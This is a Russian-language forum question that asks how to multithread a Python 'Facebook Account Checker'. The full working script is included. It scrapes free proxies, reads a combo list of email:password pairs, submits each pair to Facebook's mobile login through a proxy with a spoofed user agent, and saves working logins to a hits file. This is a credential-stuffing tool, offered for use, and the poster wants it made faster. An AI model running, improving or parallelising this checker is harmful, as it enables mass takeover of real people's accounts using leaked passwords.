Как я могу улучшить этот код для более быстрой проверки?использовать потоки? - PullRequest
0 голосов
/ 25 декабря 2018

Я устанавливаю новую программу, которая проверяет учетные записи Facebook через комбинированный список и использует прокси (только http / s). Как я могу улучшить скорость своей проверки?если нужно поточнее добавь и отправь поделись кодом.Он использует веб-драйвер для получения прокси из "https://sslproxies.org" и метод запросов, чтобы получить доступ к URL-адресу Facebook сгенерированным прокси-сервером, а также проверять учетные записи тем же методом, но моя программа медленно проверяет, и мне нужно повысить производительность, как при использовании метода многопоточностино я не могу ввести многопоточность кода в мой код, потому что просто я не знаю, как и нужна помощь

#Source Code By Rae mh alias SupeRR please contact me if you want to 
copyright.
#Do not copyright all right reserved.

#Modules

import json
import requests
import os
import random
import colorama
from colorama import init
from colorama import Fore as F
import time
from termcolor import colored
from selenium import webdriver

#CODE

#init
init()

cores = random.choice([F.WHITE, F.GREEN, F.RED, F.BLUE, F.BLACK,         
F.YELLOW, F.CYAN, F.MAGENTA])
print("")
print(colored('          SupeRR CheckeR v1.0        ','white','on_red'))
print(colored('       Facebook Account Checker      ','white','on_red'))
print("")

print(colored(' Insert Your combo name with ".txt"      
','white','on_blue'))

print("")

lists = input("+[x] Account list : ")
time.sleep(1)
os.system('clear')
os.system('cls')
print("")
print(colored('          SupeRR CheckeR v1.0        ','white','on_red'))
print(colored('       Facebook Account Checker      ','white','on_red'))
print(colored('         w/ proxy graber             ','white','on_red'))
print("")

#proxy graber

print(colored('          PROXY GRABER V1.0          
','white','on_yellow'))
options = webdriver.ChromeOptions()
options.add_argument('headless')
driver = webdriver.Chrome(chrome_options=options)
driver.get("https://www.sslproxies.org/")
tbody = driver.find_element_by_tag_name("tbody")
cell = tbody.find_elements_by_tag_name("tr")
print(colored('Proxy List : ','yellow'))
for column in cell:

        column = column.text.split(" ") 
        print("")
        print(colored(column[0]+":"+column[1],'yellow'))
driver.quit()
print("")
print(colored('Getting Proxies from graber...','green'))
time.sleep(2)
print("")
time.sleep(2)
print(colored('Connecting using proxy' ,'green'))
os.system('clear')
os.system('cls')

#Proxy Use

proxy = {"http": "http://"+ column[0]+":"+column[1]}
url = 'https://mobile.facebook.com/login'
r = requests.get(url,  proxies=proxy)
print("")
print(colored('          SupeRR CheckeR v1.0        ','white','on_red'))
print(colored('       Facebook Account Checker      ','white','on_red'))
print(colored('         w/ proxy graber             ','white','on_red'))
print("")
#Account Checking Via Request
print(colored('          ACCOUNTS STATUS            
','white','on_green'))
print("")
lists = open(lists, 'r').readlines()
lists = [line.replace('\n',"") for line in lists]
for line in lists:
    dados = line.split(":")
    url = 'https://mobile.facebook.com/login'
    headers = {'User-Agent' : 'Mozilla/5.0 (Linux; Android 4.0.4;     
Galaxy Nexus Build/IMM76B'}
    payload = {'email': dados[0], 'pass': dados[1]}
    r = requests.post(url, headers=headers, data=payload,     
proxies=proxy).text
    if r.find("<title>Se connecter à Facebook | Facebook</title>")     
== -1:
        print(F.GREEN + "[+] Hits ~> {}: 
{}".format(dados[0],dados[1] + " [+]"))
        print("+--------------------[GOOD ACOUNTS]-------------- 
-----+\n" + "+[x] Account Info : "  + dados[0] + "|" + dados[1] + "\n+ 
[x] Email Acess : True \n" + "+[x] Disabled Account : False",         
file=open("Hits.txt", "a+"))

    else:
        print(F.RED + "[-] Bad ~> {}: 
{}".format(dados[0],dados[1] + " [-]"))
print("")

print(colored('Done.','yellow'))
print("")
ext = input('The process finished Want you to exit ? : ')
if ext == "yes" or "Yes" or "Y" or "y":
        exit()
        print(colored('SupeRRchekeR 1.0v by SupeRR , Steam >     
"https://steamcommunity.com/id/sxuxpxexr/"','blue'))
        print(colored('                              Facebook > 
"https://www.facebook.com/RaeMah99"','blue'))

else:
        print(colored('SupeRRchekeR 1.0v by SupeRR , Steam > 
"https://steamcommunity.com/id/sxuxpxexr/"','blue'))
        print(colored('                              Facebook > 
"https://www.facebook.com/RaeMah99"','blue'))

#Source Code By Rae mh alias SupeRR please contact me if you want to 
copyright.
#Do not copyright all right reserved.
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...